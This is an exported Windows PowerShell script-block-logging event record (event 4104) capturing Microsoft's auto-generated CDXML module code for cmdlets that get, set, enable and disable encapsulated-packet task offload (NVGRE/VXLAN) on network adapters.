$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('EncapsulationType')) {
[object]$__cmdletization_value = ${EncapsulationType}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'EncapsulationType'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterEncapsulatedPacketTaskOffload.EncapsulationType'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'EncapsulationType'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterEncapsulatedPacketTaskOffload.EncapsulationType'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Disable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterEncapsulatedPacketTaskOffload.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Disable-NetAdapterEncapsulatedPacketTaskOffload' -Alias '*'
ScriptBlock ID: d7e3887d-f8a0-44eb-a3a6-4ef3c1cf3bdd
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1920 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-88fe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 3):
efaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:ModifyInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterEncapsulatedPacketTaskOffload.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-NetAdapterEncapsulatedPacketTaskOffload' -Alias '*'
function Enable-NetAdapterEncapsulatedPacketTaskOffload
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterEncapsulatedPacketTaskOffloadSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterEncapsulatedPacketTaskOffload.EncapsulationType]
${EncapsulationType},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('EncapsulationType')) {
[object]$__cmdletization_value = ${EncapsulationType}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'EncapsulationType'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterEncapsulatedPacketTaskOffload.EncapsulationType'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'EncapsulationType'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterEncapsulatedPacketTaskOffload.EncapsulationType'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Enable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterEncapsulatedPacketTaskOffload.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Enable-NetAdapterEncapsulatedPacketTaskOffload' -Alias '*'
function Disable-NetAdapterEncapsulatedPacketTaskOffload
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterEncapsulatedPacketTaskOffloadSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShel
ScriptBlock ID: d7e3887d-f8a0-44eb-a3a6-4ef3c1cf3bdd
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1919 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-88fe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 3):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetAdapterEncapsulatedPacketTaskOffloadSettingData'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-NetAdapterEncapsulatedPacketTaskOffload
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterEncapsulatedPacketTaskOffloadSettingData')]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterEncapsulatedPacketTaskOffload.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetAdapterEncapsulatedPacketTaskOffload' -Alias '*'
function Set-NetAdapterEncapsulatedPacketTaskOffload
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterEncapsulatedPacketTaskOffloadSettingData')]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterEncapsulatedPacketTaskOffloadSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[bool]
${NvgreEncapsulatedPacketTaskOffloadEnabled},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[bool]
${VxlanEncapsulatedPacketTaskOffloadEnabled},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[ValidateRange(1, 65535)]
[uint16]
${VxlanUDPPortNumber},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NvgreEncapsulatedPacketTaskOffloadEnabled')) {
[object]$__cmdletization_value = ${NvgreEncapsulatedPacketTaskOffloadEnabled}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NvgreEncapsulatedPacketTaskOffloadEnabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NvgreEncapsulatedPacketTaskOffloadEnabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('VxlanEncapsulatedPacketTaskOffloadEnabled')) {
[object]$__cmdletization_value = ${VxlanEncapsulatedPacketTaskOffloadEnabled}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'VxlanEncapsulatedPacketTaskOffloadEnabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'VxlanEncapsulatedPacketTaskOffloadEnabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('VxlanUDPPortNumber')) {
[object]$__cmdletization_value = ${VxlanUDPPortNumber}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'VxlanUDPPortNumber'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'VxlanUDPPortNumber'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_d
ScriptBlock ID: d7e3887d-f8a0-44eb-a3a6-4ef3c1cf3bdd
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1918 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-88fe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (4 of 4):
